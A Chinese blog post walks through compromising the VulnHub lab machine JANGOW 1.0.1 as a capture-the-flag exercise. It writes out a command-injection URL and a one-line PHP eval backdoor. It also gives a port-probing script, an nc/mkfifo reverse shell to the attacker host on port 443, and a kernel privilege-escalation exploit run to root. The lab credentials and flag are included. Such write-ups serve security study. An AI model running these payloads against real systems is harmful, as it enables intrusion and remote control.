准备:
攻击机:虚拟机kali、本机win10。
靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova.torrent,下载后直接VirtualBox打开,测试时发现vm打开之后靶机获取ip会出问题(设置的桥接,在网上看了vm修改ip的问题比较麻烦,所以就直接用的VirtualBox)。
信息收集:
扫描下靶机开放的端口和服务:nmap -T4 -sV -p- -A 172.20.10.2,显示开放了21、80端口,对应的服务是ftp服务和apache服务。
访问下ftp服务和tomcat服务,但是ftp服务缺少账号和密码无法登录,tomcat服务返回了一个界面
期间也对:http://172.20.10.2/和http://172.20.10.2/site/进行了目录扫描,但是并没有什么发现
然后就在主页面寻找功能点,右键查看源代码信息,在代码中发现busque.php文件和传递的参数buscar,猜测这里是命令执行漏洞或代码执行漏洞并进行测试,url:http://172.20.10.2/site/busque.php?buscar=id,可以查看pwd、ls等信息,确认这里存在命令执行漏洞。
web渗透:
通过命令执行写入一句话后门,url:http://172.20.10.2/site/busque.php?buscar=echo '<?php eval($_POST['upfine']);?>' > upfine.php,然后通过蚁剑进行连接。
在wordpress下发现config.php文件、html下发现.backup文件,/home/jangow01/下发现user.txt文件,root文件夹无权限查看(后面肯定要进行提权,那我们就得先获得shell权限),下载下来进行查看,发现两个账户名和密码,其中jangw01/abygurl69可以用于ftp登录。
接下来进行反弹shell,但是发现nc参数不全,无法使用。
经过多种shell反弹测试,但是均未反弹成功,最后发现对端口进行了限制,经过测试发现443端口可以使用,端口测试过程如下:
在攻击机中安装iptables和libcbor0,在kali(攻击机)中使用iptables进行端口绑定,这里就限制了400:500的端口,语句:sudo iptables -A PREROUTING -t nat -p tcp --dport 400:500 -j REDIRECT --to-port 6688。
然后开启对6688端口的监听:nc -lvvp 6688,在然后在靶机中上传 一个简单的探测脚本,脚本信息:
for i in {400..450};
do
timeout 1 nc -vz 172.20.10.5 $i && echo "$i open" >> result.txt || echo "$i closed" >> result.txt;
done
然后在蚁剑的命令窗口中执行脚本:bash test.sh,获得可以使用的端口信息。
然后就可以通过443端口来获取shell,设置的策略默认重启失效,还以为要自己删除,折腾了半天也没效果,最后才发现重启之后就会失效。
通过蚁剑编写反弹shell,语句:<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.20.10.5 443 >/tmp/f');?>,kali端开启端口监听:nc -lvvp 443,然后访问shell.php文件(http://172.20.10.2/site/shell.php)获得shell权限。
升级下shell,切换成交互式bash:python3 -c 'import pty;pty.spawn("/bin/bash")';
提权:
先查看下系统版本:uname -a。
根据系统版本号4.4.0-31在linux查询可以利用的漏洞信息:searchsploit ubuntu 4.4.0-31。
因此我们下载可以用于本地权限提升的45010.c文件并上传到靶机,可以在本地查看下文件的使用方法。
对45010.c文件进行编译生成upfine文件并执行获取root权限。
进入root目录查看文件信息和文件内容,获得:da39a3ee5e6b4b0d3255bfef95601890afd80709。
标签:文件,shell,1.0,端口,JANGOW,10.2,vulnhub,php,172.20 From: https://www.cnblogs.com/upfine/p/16775953.html